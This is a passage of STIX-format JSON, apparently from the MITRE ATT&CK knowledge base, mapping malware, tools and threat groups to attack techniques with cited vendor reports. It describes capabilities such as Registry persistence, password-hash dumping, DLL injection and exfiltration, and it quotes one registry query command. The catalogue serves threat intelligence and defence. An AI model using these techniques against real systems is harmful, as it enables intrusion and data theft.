            "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.(Citation: Cisco DNSMessenger March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco DNSMessenger March 2017",
                    "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.",
                    "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html"
                }
            ],
            "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T02:11:28.380Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7201204c-d21f-4560-a3d1-c75fabacb4c4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) has the capability to capture screenshots.(Citation: DOJ GRU Indictment Jul 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-05-14T17:10:21.945Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1e2baacb-9033-49a9-890a-f48c87ab1531",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.(Citation: FireEye APT29)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
                }
            ],
            "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b",
            "type": "relationship",
            "modified": "2020-03-11T17:32:22.215Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is capable of executing commands via cmd.exe.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T19:03:08.971Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7ebe873c-07f5-43a7-a59f-9305f9ec55a5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can execute Lazagne as well as [Mimikatz](https://attack.mitre.org/software/S0002) using PowerShell.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-20T00:08:19.460Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--35e6542c-b796-478b-b42d-d5b4ddf511d5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can gather hashed passwords by dumping SAM/SECURITY hive.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "relationship",
            "modified": "2020-03-19T23:04:39.897Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bca618ac-7867-4dc4-b683-ae3f61addc68",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses the command <code>reg query \u201cHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\InternetSettings\u201d</code>.(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-09-02T18:46:33.049Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--72cf9e20-cff4-49e2-8ea6-e212d473a8f5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use ICMP to communicate between infected computers.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.401Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d4f4974e-7918-4829-8379-5e2e98f2ae20",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to open and copy data from the clipboard.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.600Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f73df541-6b55-42d1-aec3-53660fda1508",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used various batch scripts to establish C2 and download additional files. [Gamaredon Group](https://attack.mitre.org/groups/G0047)'s backdoor malware has also been written to a batch file.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: ESET Gamaredon June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-06-22T17:54:16.027Z",
            "created": "2017-05-31T21:33:27.080Z"
        },
        {
            "id": "relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the [LOWBALL](https://attack.mitre.org/software/S0042) malware.(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye admin@338",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
                }
            ],
            "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T01:45:11.413Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1770cc28-c49c-4b70-b4d0-6976efaede16",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.998Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) injects its DLL file into a newly spawned Internet Explorer process.(Citation: Lotus Blossom Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lotus Blossom Dec 2015",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T15:50:20.071Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1567d198-b2b9-4eda-a2e2-ba5dd4e51547",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can use MSHTA to serve additional payloads.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.565Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Regin](https://attack.mitre.org/software/S0019) leveraged several compromised universities as proxies to obscure its origin.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.403Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A version of [XTunnel](https://attack.mitre.org/software/S0117) introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-19T18:36:32.001Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7d8e5c4d-afdb-43f9-bfcf-7ed674a516e3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) stages collected data in a text file.(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T14:44:54.848Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--acc40539-13a0-4577-a862-e348962bf0fc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) exfiltrates screenshot files to its C2 server.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
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            ],
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                {
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                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
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                {
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                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
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                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "source_name": "Unit42 Cannon Nov 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "source_name": "Securelist Sofacy Feb 2018"
                },
                {
                    "source_name": "Unit42 Sofacy Dec 2018",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                }
            ],
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            ],
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                {
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                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) used spearphishing emails with malicious Microsoft Word attachments to infect victims.(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)",
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                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                },
                {
                    "source_name": "Trend Micro Tick November 2019",
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                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
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            "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.(Citation: FireEye APT30)",
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                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
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            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used appcmd.exe to disable logging on a victim server.(Citation: SecureWorks BRONZE UNION June 2017)",
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                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                },
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
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            ],
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                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
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            "description": "(Citation: Baumgartner Naikon 2015)",
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            "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain information about the current user.(Citation: Kaspersky ProjectSauron Technical Analysis)",
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                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
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                {
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                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
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                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."
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            "id": "relationship--c621754d-39c0-4ed4-96d2-6f47e8263aea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) performs data exfiltration over the control server channel using a custom protocol.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.275Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can query service configuration information.(Citation: Palo Alto Networks BBSRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-04-24T23:10:02.487Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--afbf5119-6e39-4e4c-8329-57f7249a67b4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) uses commonly used ports (like HTTPS/443) for command and control.(Citation: evolution of pirpi)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf",
                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
                    "source_name": "evolution of pirpi"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.629Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list files and directories.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                },
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.616Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) provides access to the Windows Registry, which can be used to gather information.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-05-14T17:10:21.934Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cb69898b-b5e4-407a-964d-a13149accdd7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) modifies the %regrun% Registry to point itself to an autostart mechanism.(Citation: fsecure NanHaiShu July 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "fsecure NanHaiShu July 2016",
                    "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
